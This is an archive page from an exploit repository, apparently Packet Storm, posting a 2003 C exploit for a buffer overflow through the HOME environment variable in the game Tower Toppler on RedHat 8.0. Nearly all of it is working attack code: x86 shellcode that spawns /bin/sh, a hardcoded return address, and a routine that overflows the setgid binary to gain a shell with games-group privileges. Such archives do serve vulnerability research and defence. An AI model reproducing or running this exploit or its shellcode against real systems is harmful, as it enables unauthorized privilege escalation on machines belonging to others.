what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

0x333toper-local.c

0x333toper-local.c
Posted Jul 18, 2003
Authored by nic | Site 0x333.org

Local exploit that yields gid of games for /usr/bin/toppler. Tested against RedHat 8.0.

tags | exploit, local
systems | linux, redhat
SHA-256 | c92cab560b62bccb2088bbd7e1ee2b423795fe4783101d37181185d7c3dbad96

0x333toper-local.c

Change Mirror Download
/*
* /usr/bin/topper local exploit
* vul <= topper 0.96
* bug: http://www.securityfocus.com/bid/8132
*
* coded by nic
* Ps: i have see another ex,but it have many nops. ^^:)
*
* (c) 0x333 Outsiders Security Labs / www.0x333.org
*
*/



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/errno.h>

#define me "tiger"


static char shellcode[] =

"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";

struct target {
int index;
char *distro;
char *dest;
char *name;
u_long retaddr;
int LEN;
};


struct target exploit[] = {
{ 1, "redhat 8.0 -", "/usr/bin/toppler",
"toppler", 0xbffff9f8, 256 },
{ 0, NULL, NULL, NULL, 0, 0 }
};

void usage(char *cmd);

int main(int argc, char **argv)
{
int i;
int type;
int size;
int options;
long retaddr;
char buffer[256];

if(argc == 1) {
usage(argv[0]);
exit(0);
}

/* options of this exploit */
while((options = getopt(argc, argv, "ht:")) != EOF) {
switch(options) {
case 'h':
usage(argv[0]);
exit(0);
case 't':
type = atoi(optarg);

if (type > 3 || type < 0) {
printf("Out of range!!\n");
exit(0);
}

if (type == 0) {
usage(argv[0]);
printf("num . description\n"
"----+----------------------------------------\n");
for (i = 0; exploit[i].dest; i++)
fprintf(stderr, "[%d] | %s %s\n", exploit[i].index, exploit[i].distro, exploit[i].dest);

exit(1);
}
break;
default:
usage(argv[0]);
exit(0);
}
}

size = exploit[type-1].LEN;
retaddr = exploit[type-1].retaddr;

fprintf(stderr, "\n--- nic-fuckex "me" - Tower Toppler HOME env buf overflow ex---\n"
"[+] by: nic\n"
"[+] nic-2003 - http://www.0x333.org/\n"
"[+] attacking: %s\n"
"[+] using ret: 0x%8lx\n"
"[+] spawning shell\n", exploit[type-1].dest, retaddr);

for (i = 0; i < size; i += 4)
*(long *)&buffer[i] = retaddr;

memcpy(buffer + 1, shellcode, strlen(shellcode));

setenv("HOME", buffer, 1); /* seting env variable */

if ( (execl(exploit[type-1].dest, exploit[type-1].name, NULL)) == -1) {
fprintf(stderr, "Try another target, you scriptkid!\n\n");
exit(-1);
}

return(0);
}

void usage(char *cmd)
{
fprintf(stderr, "\n--- nic-fuckex "me" - Tower Toppler HOME env buff overflow ex--\n"
"by nic \n"
"nic-2003 - http://www.0x333.org/\n\n"
"usage: %s [-h] [-t <num>]\n"
"__options\n"
" -h\t- this help\n"
" -t num\t- choose target (0 for list)\n\n", cmd);
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close